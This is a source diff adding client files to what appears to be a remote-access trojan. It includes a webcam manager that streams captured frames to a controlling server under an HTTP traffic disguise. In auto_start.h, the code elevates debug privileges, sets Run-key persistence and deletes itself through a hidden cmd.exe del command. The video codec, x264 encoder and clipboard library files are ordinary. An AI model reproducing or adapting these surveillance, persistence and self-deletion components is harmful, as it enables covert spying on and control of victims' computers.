|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
22
client/TinyRun.vcxproj.filters
Normal file
22
client/TinyRun.vcxproj.filters
Normal file
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="源文件">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="头文件">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="资源文件">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.c">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
client/TinyRun.vcxproj.user
Normal file
4
client/TinyRun.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
130
client/VideoCodec.h
Normal file
130
client/VideoCodec.h
Normal file
@@ -0,0 +1,130 @@
|
||||
#if !defined(AFX_VIDEOCODEC_H_INCLUDED)
|
||||
#define AFX_VIDEOCODEC_H_INCLUDED
|
||||
|
||||
#include <VFW.H>
|
||||
|
||||
class CVideoCodec
|
||||
{
|
||||
COMPVARS m_cv;
|
||||
HIC m_hIC;
|
||||
BITMAPINFO* m_lpbmiInput;
|
||||
BITMAPINFO m_bmiOutput;
|
||||
|
||||
public:
|
||||
|
||||
bool InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
|
||||
{
|
||||
if (lpbmi == NULL)
|
||||
return false;
|
||||
|
||||
m_lpbmiInput = lpbmi;
|
||||
|
||||
ZeroMemory(&m_cv, sizeof(m_cv));
|
||||
m_cv.cbSize = sizeof(m_cv);
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.fccType = ICTYPE_VIDEO;
|
||||
m_cv.fccHandler = fccHandler;
|
||||
m_cv.lpbiOut = NULL;
|
||||
m_cv.lKey = 10;
|
||||
m_cv.lDataRate = 6;
|
||||
m_cv.lQ = ICQUALITY_HIGH;
|
||||
|
||||
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
|
||||
|
||||
if (m_hIC == NULL) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
|
||||
// 向编码器发送验证
|
||||
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
|
||||
|
||||
m_cv.hic = m_hIC;
|
||||
m_cv.dwFlags = ICMF_COMPVARS_VALID;
|
||||
|
||||
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
ICDecompressBegin(m_hIC, &m_bmiOutput, m_lpbmiInput);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool DecodeVideoData(BYTE *pin, int len, BYTE* pout, int *lenr,DWORD flag)
|
||||
{
|
||||
if(!pin || !pout ||!m_hIC)
|
||||
return false;
|
||||
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
|
||||
return false;
|
||||
|
||||
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool EncodeVideoData(BYTE* pin, int len, BYTE* pout, int* lenr, bool* pKey)
|
||||
{
|
||||
BYTE *p;
|
||||
long s = 1;
|
||||
BOOL k = true;
|
||||
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
|
||||
return false;
|
||||
p = (BYTE*)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
|
||||
|
||||
if (!p) return false;
|
||||
if (lenr) *lenr = s;
|
||||
if (pKey) *pKey = k;
|
||||
|
||||
CopyMemory(pout, p, s);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
CVideoCodec()
|
||||
{
|
||||
m_lpbmiInput = NULL;
|
||||
}
|
||||
|
||||
virtual ~CVideoCodec()
|
||||
{
|
||||
// No init yet or init error
|
||||
if (m_hIC == NULL)
|
||||
return;
|
||||
ICDecompressEnd(m_hIC);
|
||||
ICSeqCompressFrameEnd(&m_cv);
|
||||
ICCompressorFree(&m_cv);
|
||||
ICClose(m_hIC);
|
||||
}
|
||||
|
||||
int MyEnumCodecs(int *fccHandler, char *strName)
|
||||
{
|
||||
static int i = 0;
|
||||
int nRet = 1;
|
||||
HIC hIC;
|
||||
ICINFO icInfo;
|
||||
|
||||
if (fccHandler == NULL)
|
||||
return 0;
|
||||
|
||||
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo)) {
|
||||
i = 0;
|
||||
return 0;
|
||||
}
|
||||
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
|
||||
|
||||
if (hIC) {
|
||||
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
|
||||
*fccHandler = icInfo.fccHandler;
|
||||
//由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的
|
||||
if (strName != NULL)
|
||||
wcstombs(strName, icInfo.szDescription, 256);
|
||||
} else nRet = -1;
|
||||
|
||||
ICClose(hIC);
|
||||
i++;
|
||||
return nRet;
|
||||
}
|
||||
};
|
||||
#endif // !defined(AFX_VIDEOCODEC_H_INCLUDED)
|
||||
192
client/VideoManager.cpp
Normal file
192
client/VideoManager.cpp
Normal file
@@ -0,0 +1,192 @@
|
||||
// VideoManager.cpp: implementation of the CVideoManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "VideoManager.h"
|
||||
#include "Common.h"
|
||||
#include <iostream>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject)
|
||||
{
|
||||
m_bIsWorking = TRUE;
|
||||
|
||||
m_bIsCompress = false;
|
||||
m_pVideoCodec = NULL;
|
||||
m_fccHandler = 1129730893;
|
||||
|
||||
m_CapVideo.Open(0,0); // 开启
|
||||
lpBuffer = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||
}
|
||||
|
||||
|
||||
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
{
|
||||
CVideoManager *This = (CVideoManager *)lParam;
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) { //转到Initialize
|
||||
This->m_bIsCompress=true; //如果初始化成功就设置可以压缩
|
||||
Mprintf("压缩视频进行传输.\n");
|
||||
}
|
||||
|
||||
This->SendBitMapInfor(); //发送bmp位图结构
|
||||
|
||||
// 等控制端对话框打开
|
||||
This->WaitForDialogOpen();
|
||||
#if USING_ZLIB
|
||||
const int fps = 8;// 帧率
|
||||
#else
|
||||
const int fps = 8;// 帧率
|
||||
#endif
|
||||
const int sleep = 1000 / fps;// 间隔时间(ms)
|
||||
|
||||
timeBeginPeriod(1);
|
||||
while (This->m_bIsWorking) {
|
||||
// 限制速度
|
||||
int span = sleep-(GetTickCount64() - dwLastScreen);
|
||||
Sleep(span > 0 ? span : 1);
|
||||
if (span < 0)
|
||||
Mprintf("SendScreen Span = %d ms\n", span);
|
||||
dwLastScreen = GetTickCount64();
|
||||
if(FALSE == This->SendNextScreen())
|
||||
break;
|
||||
}
|
||||
timeEndPeriod(1);
|
||||
|
||||
This->Destroy();
|
||||
Mprintf("CVideoManager WorkThread end\n");
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
CVideoManager::~CVideoManager()
|
||||
{
|
||||
InterlockedExchange((LPLONG)&m_bIsWorking, FALSE);
|
||||
m_CapVideo.m_bExit = TRUE;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||
Mprintf("CVideoManager ~CVideoManager \n");
|
||||
if (m_pVideoCodec) { //压缩类
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
if (lpBuffer)
|
||||
delete [] lpBuffer;
|
||||
}
|
||||
|
||||
void CVideoManager::Destroy()
|
||||
{
|
||||
m_bIsWorking = FALSE;
|
||||
Mprintf("CVideoManager Destroy \n");
|
||||
if (m_pVideoCodec) { //压缩类
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void CVideoManager::SendBitMapInfor()
|
||||
{
|
||||
const int dwBytesLength = 1 + sizeof(BITMAPINFO);
|
||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
|
||||
}
|
||||
|
||||
BOOL CVideoManager::SendNextScreen()
|
||||
{
|
||||
DWORD dwBmpImageSize=0;
|
||||
LPVOID lpDIB =m_CapVideo.GetDIB(dwBmpImageSize);
|
||||
if(lpDIB == NULL)
|
||||
return FALSE;
|
||||
|
||||
// token + IsCompress + m_fccHandler + DIB
|
||||
const int nHeadLen = 1 + 1 + 4;
|
||||
|
||||
UINT nBufferLen = nHeadLen + dwBmpImageSize;
|
||||
lpBuffer = lpBuffer ? lpBuffer : new BYTE[nBufferLen];
|
||||
|
||||
lpBuffer[0] = TOKEN_WEBCAM_DIB;
|
||||
lpBuffer[1] = m_bIsCompress; //压缩
|
||||
|
||||
memcpy(lpBuffer + 2, &m_fccHandler, sizeof(DWORD)); //这里将视频压缩码写入要发送的缓冲区
|
||||
|
||||
UINT nPacketLen = 0;
|
||||
if (m_bIsCompress && m_pVideoCodec) { //这里判断,是否压缩,压缩码是否初始化成功,如果成功就压缩
|
||||
int nCompressLen = 0;
|
||||
//这里压缩视频数据了
|
||||
bool bRet = m_pVideoCodec->EncodeVideoData((LPBYTE)lpDIB,
|
||||
m_CapVideo.GetBmpInfor()->bmiHeader.biSizeImage, lpBuffer + nHeadLen,
|
||||
&nCompressLen, NULL);
|
||||
if (!nCompressLen) {
|
||||
// some thing error
|
||||
return FALSE;
|
||||
}
|
||||
//重新计算发送数据包的大小 剩下就是发送了,我们到主控端看一下视频如果压缩了怎么处理
|
||||
//到主控端的void CVideoDlg::OnReceiveComplete(void)
|
||||
nPacketLen = nCompressLen + nHeadLen;
|
||||
} else {
|
||||
//不压缩 永远不来
|
||||
memcpy(lpBuffer + nHeadLen, lpDIB, dwBmpImageSize);
|
||||
nPacketLen = dwBmpImageSize+ nHeadLen;
|
||||
}
|
||||
m_CapVideo.SendEnd(); //copy send
|
||||
|
||||
m_ClientObject->Send2Server((char*)lpBuffer, nPacketLen);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
VOID CVideoManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_ENABLECOMPRESS: { // 要求启用压缩
|
||||
// 如果解码器初始化正常,就启动压缩功能
|
||||
if (m_pVideoCodec)
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, true);
|
||||
Mprintf("压缩视频进行传输.\n");
|
||||
break;
|
||||
}
|
||||
case COMMAND_WEBCAM_DISABLECOMPRESS: { // 原始数据传输
|
||||
InterlockedExchange((LPLONG)&m_bIsCompress, false);
|
||||
Mprintf("不压缩视频进行传输.\n");
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CVideoManager::Initialize()
|
||||
{
|
||||
BOOL bRet = TRUE;
|
||||
|
||||
if (m_pVideoCodec!=NULL) {
|
||||
delete m_pVideoCodec;
|
||||
m_pVideoCodec=NULL;
|
||||
}
|
||||
if (m_fccHandler==0) { //不采用压缩
|
||||
bRet= FALSE;
|
||||
return bRet;
|
||||
}
|
||||
m_pVideoCodec = new CVideoCodec;
|
||||
//这里初始化,视频压缩 ,注意这里的压缩码 m_fccHandler(到构造函数中查看)
|
||||
if (!m_pVideoCodec->InitCompressor(m_CapVideo.GetBmpInfor(), m_fccHandler)) {
|
||||
delete m_pVideoCodec;
|
||||
bRet=FALSE;
|
||||
// 置NULL, 发送时判断是否为NULL来判断是否压缩
|
||||
m_pVideoCodec = NULL;
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
41
client/VideoManager.h
Normal file
41
client/VideoManager.h
Normal file
@@ -0,0 +1,41 @@
|
||||
// VideoManager.h: interface for the CVideoManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||
#define AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "CaptureVideo.h"
|
||||
#include "VideoCodec.h"
|
||||
|
||||
class CVideoManager : public CManager
|
||||
{
|
||||
public:
|
||||
CVideoManager(IOCPClient* ClientObject, int n, void* user = nullptr) ;
|
||||
virtual ~CVideoManager();
|
||||
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
void SendBitMapInfor();
|
||||
BOOL SendNextScreen();
|
||||
static DWORD WINAPI WorkThread(LPVOID lParam);
|
||||
|
||||
CCaptureVideo m_CapVideo;
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL Initialize();
|
||||
|
||||
DWORD m_fccHandler;
|
||||
bool m_bIsCompress;
|
||||
LPBYTE lpBuffer; // 抓图缓存区
|
||||
|
||||
CVideoCodec *m_pVideoCodec; //压缩类
|
||||
void Destroy();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_VIDEOMANAGER_H__883F2A96_1F93_4657_A169_5520CB142D46__INCLUDED_)
|
||||
155
client/X264Encoder.cpp
Normal file
155
client/X264Encoder.cpp
Normal file
@@ -0,0 +1,155 @@
|
||||
#include "X264Encoder.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#pragma comment(lib,"x264/libx264.lib")
|
||||
#endif
|
||||
|
||||
CX264Encoder::CX264Encoder()
|
||||
{
|
||||
memset(&m_Param, 0, sizeof(m_Param));
|
||||
m_pCodec = NULL;
|
||||
m_pPicIn = NULL;
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
|
||||
|
||||
CX264Encoder::~CX264Encoder()
|
||||
{
|
||||
close();
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(int width, int height, int fps, int crf)
|
||||
{
|
||||
x264_param_t param = { 0 };
|
||||
x264_param_default_preset(¶m, "ultrafast", "zerolatency");
|
||||
|
||||
param.i_width = width & 0xfffffffe;
|
||||
param.i_height = height & 0xfffffffe;
|
||||
|
||||
//x264_LOG_NONE
|
||||
param.i_log_level = X264_LOG_NONE;
|
||||
param.i_threads = 1;
|
||||
param.i_frame_total = 0;
|
||||
param.i_keyint_max = fps * 15; // 15秒一个IDR,场景突变由scenecut自动插入
|
||||
param.i_bframe = 0; //不启用b帧
|
||||
param.b_open_gop = 0;
|
||||
param.i_fps_num = fps;
|
||||
param.i_csp = X264_CSP_I420;
|
||||
|
||||
// CRF: 静态画面自动降至极低码率,动态画面按质量需要分配
|
||||
// 不设 VBV —— 避免 IDR/复杂帧后的质量振荡
|
||||
param.rc.i_rc_method = X264_RC_CRF;
|
||||
param.rc.f_rf_constant = (float)crf;
|
||||
|
||||
//设置profile.
|
||||
if (x264_param_apply_profile(¶m, x264_profile_names[0])) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return open(¶m);
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(x264_param_t * param)
|
||||
{
|
||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
|
||||
//input pic.
|
||||
x264_picture_init(m_pPicIn);
|
||||
|
||||
x264_picture_alloc(
|
||||
m_pPicIn,
|
||||
X264_CSP_I420,
|
||||
param->i_width,
|
||||
param->i_height);
|
||||
|
||||
//create codec instance.
|
||||
m_pCodec = x264_encoder_open(param);
|
||||
if (m_pCodec == NULL) {
|
||||
return false;
|
||||
}
|
||||
memcpy(&m_Param, param, sizeof(m_Param));
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void CX264Encoder::close()
|
||||
{
|
||||
if (m_pCodec) {
|
||||
x264_encoder_close(m_pCodec);
|
||||
m_pCodec = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicIn) {
|
||||
x264_picture_clean(m_pPicIn);
|
||||
free(m_pPicIn);
|
||||
m_pPicIn = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicOut) {
|
||||
free(m_pPicOut);
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int CX264Encoder::encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction)
|
||||
{
|
||||
int encode_size = 0;
|
||||
x264_nal_t *pNal = NULL;
|
||||
int iNal;
|
||||
|
||||
if ((width & 0xfffffffe) != m_Param.i_width ||
|
||||
(height & 0xfffffffe) != m_Param.i_height) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
switch (bpp) {
|
||||
case 24:
|
||||
libyuv::RGB24ToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
case 32:
|
||||
libyuv::ARGBToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
default:
|
||||
return -2;
|
||||
}
|
||||
|
||||
|
||||
encode_size = x264_encoder_encode(
|
||||
m_pCodec,
|
||||
&pNal,
|
||||
&iNal,
|
||||
m_pPicIn,
|
||||
m_pPicOut);
|
||||
|
||||
if (encode_size < 0) {
|
||||
return -3;
|
||||
}
|
||||
|
||||
*lppData = pNal->p_payload;
|
||||
*lpSize = encode_size;
|
||||
return 0;
|
||||
}
|
||||
35
client/X264Encoder.h
Normal file
35
client/X264Encoder.h
Normal file
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
|
||||
extern "C" {
|
||||
#include <libyuv\libyuv.h>
|
||||
#include <x264\x264.h>
|
||||
}
|
||||
|
||||
class CX264Encoder
|
||||
{
|
||||
private:
|
||||
x264_t* m_pCodec; //编码器实例
|
||||
x264_picture_t *m_pPicIn;
|
||||
x264_picture_t *m_pPicOut;
|
||||
x264_param_t m_Param;
|
||||
public:
|
||||
bool open(int width, int height, int fps, int crf);
|
||||
bool open(x264_param_t * param);
|
||||
|
||||
void close();
|
||||
|
||||
int encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction = 1
|
||||
);
|
||||
|
||||
CX264Encoder();
|
||||
~CX264Encoder();
|
||||
};
|
||||
|
||||
125
client/auto_start.h
Normal file
125
client/auto_start.h
Normal file
@@ -0,0 +1,125 @@
|
||||
#pragma once
|
||||
#include <windows.h>
|
||||
|
||||
// 提升权限
|
||||
inline int DebugPrivilege()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
|
||||
return -1;
|
||||
|
||||
// 动态分配空间,包含 3 个 LUID
|
||||
TOKEN_PRIVILEGES* tp = (TOKEN_PRIVILEGES*)malloc(sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES));
|
||||
if (!tp) {
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 1;
|
||||
}
|
||||
|
||||
tp->PrivilegeCount = 3;
|
||||
|
||||
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp->Privileges[0].Luid)) {
|
||||
free(tp);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 2;
|
||||
}
|
||||
tp->Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!LookupPrivilegeValue(NULL, SE_INCREASE_QUOTA_NAME, &tp->Privileges[1].Luid)) {
|
||||
free(tp);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 3;
|
||||
}
|
||||
tp->Privileges[1].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &tp->Privileges[2].Luid)) {
|
||||
free(tp);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 4;
|
||||
}
|
||||
tp->Privileges[2].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
AdjustTokenPrivileges(hToken, FALSE, tp, sizeof(TOKEN_PRIVILEGES) + 2 * sizeof(LUID_AND_ATTRIBUTES), NULL, NULL);
|
||||
|
||||
free(tp);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return 0;
|
||||
}
|
||||
|
||||
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
||||
|
||||
/**
|
||||
* @brief 设置本身开机自启动
|
||||
* @param[in] *sPath 注册表的路径
|
||||
* @param[in] *sNmae 注册表项名称
|
||||
* @return 返回注册结果
|
||||
* @details Win7 64位机器上测试结果表明,注册项在:\n
|
||||
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
|
||||
* @note 首次运行需要以管理员权限运行,才能向注册表写入开机启动项
|
||||
*/
|
||||
inline BOOL SetSelfStart(const char* sPath, const char* sNmae, StartupLogFunc Log)
|
||||
{
|
||||
#define _Mprintf(format, ...) if (Log) Log(__FILE__, __LINE__, format, __VA_ARGS__)
|
||||
|
||||
int n = DebugPrivilege();
|
||||
if (n != 0) {
|
||||
_Mprintf("提升权限失败,错误码:%d\n", n);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 写入的注册表路径
|
||||
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
||||
|
||||
// 在注册表中写入启动信息
|
||||
HKEY hKey = NULL;
|
||||
LONG lRet = RegOpenKeyExA(HKEY_CURRENT_USER, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
|
||||
|
||||
// 判断是否成功
|
||||
if (lRet != ERROR_SUCCESS) {
|
||||
_Mprintf("打开注册表失败,错误码:%d\n", lRet);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
|
||||
|
||||
if (lRet != ERROR_SUCCESS) {
|
||||
_Mprintf("写入注册表失败,错误码:%d\n", lRet);
|
||||
} else {
|
||||
_Mprintf("写入注册表成功:%s -> %s\n", sNmae, sPath);
|
||||
}
|
||||
|
||||
// 关闭注册表
|
||||
RegCloseKey(hKey);
|
||||
|
||||
#undef _Mprintf
|
||||
|
||||
// 判断是否成功
|
||||
return lRet == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
inline bool markForDeleteOnReboot(const char* file)
|
||||
{
|
||||
return MoveFileExA(file, NULL, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_WRITE_THROUGH) != FALSE;
|
||||
}
|
||||
|
||||
inline BOOL self_del(int timeoutSecond=3)
|
||||
{
|
||||
char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 };
|
||||
if (GetModuleFileName(NULL, file, MAX_PATH) == 0)
|
||||
return FALSE;
|
||||
|
||||
markForDeleteOnReboot(file);
|
||||
|
||||
sprintf(szCmd, "cmd.exe /C timeout /t %d /nobreak > Nul & Del /f /q \"%s\"", timeoutSecond, file);
|
||||
|
||||
STARTUPINFO si = { 0 };
|
||||
PROCESS_INFORMATION pi = { 0 };
|
||||
si.cb = sizeof(si);
|
||||
|
||||
if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
|
||||
SAFE_CLOSE_HANDLE(pi.hThread);
|
||||
SAFE_CLOSE_HANDLE(pi.hProcess);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
44
client/clang_rt_compat.c
Normal file
44
client/clang_rt_compat.c
Normal file
@@ -0,0 +1,44 @@
|
||||
// clang_rt_compat.c
|
||||
// 兼容 32 位 Clang 编译的 libx264 运行时函数
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
#pragma comment(linker, "/alternatename:__ultof3=_ultof3_impl")
|
||||
#pragma comment(linker, "/alternatename:__dtoul3_legacy=_dtoul3_impl")
|
||||
#pragma comment(linker, "/alternatename:__dtol3=_dtol3_impl")
|
||||
#pragma comment(linker, "/alternatename:__ltod3=_ltod3_impl")
|
||||
#pragma comment(linker, "/alternatename:__ultod3=_ultod3_impl")
|
||||
|
||||
// unsigned long long to float
|
||||
float __cdecl ultof3_impl(unsigned long long a)
|
||||
{
|
||||
return (float)a;
|
||||
}
|
||||
|
||||
// double to unsigned long long
|
||||
unsigned long long __cdecl dtoul3_impl(double a)
|
||||
{
|
||||
if (a < 0) return 0;
|
||||
if (a >= 18446744073709551616.0) return 0xFFFFFFFFFFFFFFFFULL;
|
||||
return (unsigned long long)a;
|
||||
}
|
||||
|
||||
// double to long long
|
||||
long long __cdecl dtol3_impl(double a)
|
||||
{
|
||||
return (long long)a;
|
||||
}
|
||||
|
||||
// long long to double
|
||||
double __cdecl ltod3_impl(long long a)
|
||||
{
|
||||
return (double)a;
|
||||
}
|
||||
|
||||
// unsigned long long to double
|
||||
double __cdecl ultod3_impl(unsigned long long a)
|
||||
{
|
||||
return (double)a;
|
||||
}
|
||||
|
||||
#endif
|
||||
224
client/clip.h
Normal file
224
client/clip.h
Normal file
@@ -0,0 +1,224 @@
|
||||
// Clip Library
|
||||
// Copyright (c) 2015-2024 David Capello
|
||||
//
|
||||
// This file is released under the terms of the MIT license.
|
||||
// Read LICENSE.txt for more information.
|
||||
|
||||
#ifndef CLIP_H_INCLUDED
|
||||
#define CLIP_H_INCLUDED
|
||||
#pragma once
|
||||
|
||||
#include <cassert>
|
||||
#include <memory>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
namespace clip
|
||||
{
|
||||
|
||||
// ======================================================================
|
||||
// Low-level API to lock the clipboard/pasteboard and modify it
|
||||
// ======================================================================
|
||||
|
||||
// Clipboard format identifier.
|
||||
typedef size_t format;
|
||||
|
||||
#if CLIP_ENABLE_IMAGE
|
||||
class image;
|
||||
struct image_spec;
|
||||
#endif // CLIP_ENABLE_IMAGE
|
||||
|
||||
#if CLIP_ENABLE_LIST_FORMATS
|
||||
struct format_info {
|
||||
format id = 0;
|
||||
std::string name;
|
||||
format_info(const format id,
|
||||
const std::string& name)
|
||||
: id(id),
|
||||
name(name)
|
||||
{
|
||||
}
|
||||
